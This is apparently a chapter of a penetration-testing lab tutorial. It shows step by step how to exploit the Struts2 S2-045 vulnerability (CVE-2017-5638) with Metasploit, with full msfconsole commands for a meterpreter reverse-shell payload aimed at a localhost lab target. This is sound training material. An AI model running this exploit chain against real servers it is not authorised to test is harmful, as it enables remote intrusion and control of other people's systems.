07. Exploitation — Attacking with Metasploit 💥¶

Reconnaissance told us "it's Struts2." Next, we use Metasploit to exploit that vulnerability and break in.

Exploit and payload¶

An attack is a set of these two.

flowchart LR
    E["Exploit<br>The technique that pries the entry point open"] --> P["Payload<br>The code that runs after you're in"] --> R["Successful intrusion"]
    style E fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
    style P fill:#2d333b,stroke:#bc8cff,stroke-width:2px,color:#e6edf3
    style R fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3

The two are determined in different ways. This is a point that trips people up at first.

	What determines it	Options
Exploit	Determined by the target's vulnerability	Basically one per vulnerability (for S2-045, it's this one)
Payload	Determined by the target's OS and what you want to do	You choose from several (you can swap the payload even for the same exploit)

A Windows payload won't land on a Linux target → match the OS
Want rich control → meterpreter; want something lightweight → a shell. Choose by your goal
You can see the available payloads with show payloads

💡 The moment you use, a compatible payload is auto-loaded, but the OS may not match (e.g., a Windows payload is the default even though the target is Linux). Check with show options, and if it doesn't match, pick again with set payload linux/....

S2-045: A 2017 Struts2 vulnerability (CVE-2017-5638, CVSS 10.0). By embedding attack code in the HTTP Content-Type header, you can execute arbitrary commands on the server.

The attack flow (7 steps)¶

flowchart LR
    S["search<br>Find a weapon"] --> U["use<br>Select"] --> SET["set<br>Configure"] --> C["check<br>Verify"] --> E["exploit<br>Execute"]
    style S fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3
    style U fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
    style SET fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
    style C fill:#2d333b,stroke:#d29922,stroke-width:2px,color:#e6edf3
    style E fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3

STEP 1: Launch¶

msfconsole

After a short wait, msf6 > appears.

STEP 2: Find a weapon (search)¶

search s2-045

#  Name                                          Rank       Check
0  exploit/multi/http/struts2_content_type_ognl  excellent  Yes

Rank: excellent = high confidence (likely to land).

💡 search just does a string search over your local inventory. search struts2 returns everything related; a broad term like search react will mix in noise. The granularity of your search term matters. The source of that inventory is public vulnerability databases (below).

STEP 3: Select (use)¶

use exploit/multi/http/struts2_content_type_ognl

The prompt changes. use only sets it up — it doesn't attack yet.

STEP 4: Configure (set)¶

set payload linux/x64/meterpreter/reverse_tcp
set RHOSTS localhost
set RPORT 8088
set TARGETURI /showcase.action
set LHOST 127.0.0.1
set LPORT 4444

Setting	Meaning
`RHOSTS` / `RPORT`	Location of the target (R = Remote = the other side)
`TARGETURI`	The path to attack
`LHOST` / `LPORT`	Your own return address (L = Local). The reverse shell comes back here

⚠️ The default payload is sometimes windows/.... If the target is Linux, change it to linux/.... This LHOST can, depending on the environment, be the reason the shell "never comes back" → Appendix D.

STEP 5: Verify (show options)¶

show options

Confirm that RHOSTS / RPORT / TARGETURI / LHOST / payload are as intended.

STEP 6: Check whether it lands (check)¶

check

[+] The target is vulnerable. Successfully executed the injected code

This is where "a guess" becomes "certainty."

STEP 7: Execute (exploit)¶

exploit

[*] Meterpreter session 1 opened (...)
meterpreter >

If it changes to meterpreter >, the intrusion succeeded. Next: 08. Post-exploitation.

If you see Exploit completed, but no session was created., that's a sign the attack reached the target but the reverse shell didn't come back → Appendix D. The reverse shell doesn't come back.

Go-to sites for researching vulnerabilities¶

Metasploit's search only looks through your local inventory. The source of that inventory is the vulnerability databases published worldwide. Once reconnaissance tells you "this software, this version," you look up its known vulnerabilities here.

Site	What it tells you
CVE (cve.org)	The official ID number of a vulnerability (e.g., `CVE-2017-5638`)
NVD (nvd.nist.gov)	Severity score (CVSS)
Exploit-DB (exploit-db.com)	Actual attack code
Rapid7 DB (rapid7.com/db)	Metasploit module coverage

Recon: identified as "Struts2 2.3.30"
   ↓ Search in CVE/NVD → CVE-2017-5638 (S2-045), CVSS 10.0
   ↓ Check attack code / modules in Exploit-DB / Rapid7
   ↓ Metasploit: search s2-045 → use → ...

💡 This DB cross-referencing is the seam between reconnaissance and attack. That said, databases can be outdated or contain withdrawn entries, so in the end verify with check.